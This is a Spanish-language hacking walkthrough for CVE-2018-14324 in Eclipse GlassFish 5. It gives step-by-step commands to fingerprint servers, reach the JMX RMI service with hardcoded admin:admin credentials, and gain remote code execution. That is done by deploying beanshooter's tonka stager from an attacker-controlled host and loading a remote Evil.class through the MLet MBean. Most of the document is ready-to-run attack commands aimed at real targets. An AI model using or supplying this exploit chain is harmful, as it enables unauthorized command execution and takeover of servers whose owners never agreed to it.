
Hackeando Eclipse GlassFish - CVE-2018-14324
La descripción de CVE-2018-14324 no explica completamente el impacto de esta vulnerabilidad. En resumen, tienes acceso a Java Management Extensions (JMX) mediante credenciales hardcodeadas admin:admin.
Si bien el impacto se enumera como " información potencialmente sensible, realizar operaciones de base de datos o manipular la demo a través de una sesión JMX RMI", no explica qué significa la manipulación a través de la sesión JMX RMI.
Investigué a fondo solo por la alta puntuación CVSS de 9.8 y descubrí que prácticamente se puede lograr RCE a través del MBean javax.management.loading:type=MLet, que está habilitado por defecto en una instancia de GlassFish 5.
Enumera el servidor GlassFish observando el banner de versión.
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
Si la versión es la 5, es vulnerable a CVE-2018-14324.
Luego verifica si el servicio JMX RMI se está ejecutando en el puerto 7676.
nc <IP_ADDRESS> 7676
Deberías ver la cadena de conexión al servicio JMX RMI. Guarda la cadena para usarla más adelante.
Por ejemplo:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
Como puedes ver, el nombre de host vm31465 se usa en la cadena de conexión; se mencionan dos puertos, 8686 y 7676.
Deberías añadir vm31465 a tu archivo /etc/hosts apuntando a la dirección IP de . Si usas Beanshooter, no es necesario.
¿Qué demonios es JMX? Es Java Management Extensions (JMX), una tecnología que te permite implementar interfaces de gestión para aplicaciones Java. Piénsalo como SNMP para aplicaciones Java.
Primero, necesitas enumerar los MBeans disponibles en el sistema objetivo.
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
Con este script, obtendrás una lista de MBeans, sus atributos y operaciones.
El MBean com.sun.management:type=DiagnosticCommand te permite ejecutar comandos de diagnóstico en la JVM objetivo. Puedes usarlo para enumerar propiedades del sistema; consulta DiagnosticCommand.java para más información.
Si ves javax.management.loading:type=MLet, deberías poder explotar el objetivo. Este MBean te permite cargar clases Java remotas en la JVM objetivo.
Sin embargo, el gestor de seguridad de Java podría impedirte ejecutar código arbitrario.
El único exploit funcional para RCE fue el módulo tomka en beanshooter. Los exploits personalizados fueron bloqueados por el gestor de seguridad. La carga MLet seguía funcionando, pero la clase no tenía permitido ejecutar código.
Utiliza el módulo tomka de Beanshooter para explotar el objetivo.
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
También puedes depurar escribiendo tu propio cargador de MBeans y monitoreando si el objetivo se conecta a tu servidor MLet. El flujo es el siguiente:
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup
attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file
attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())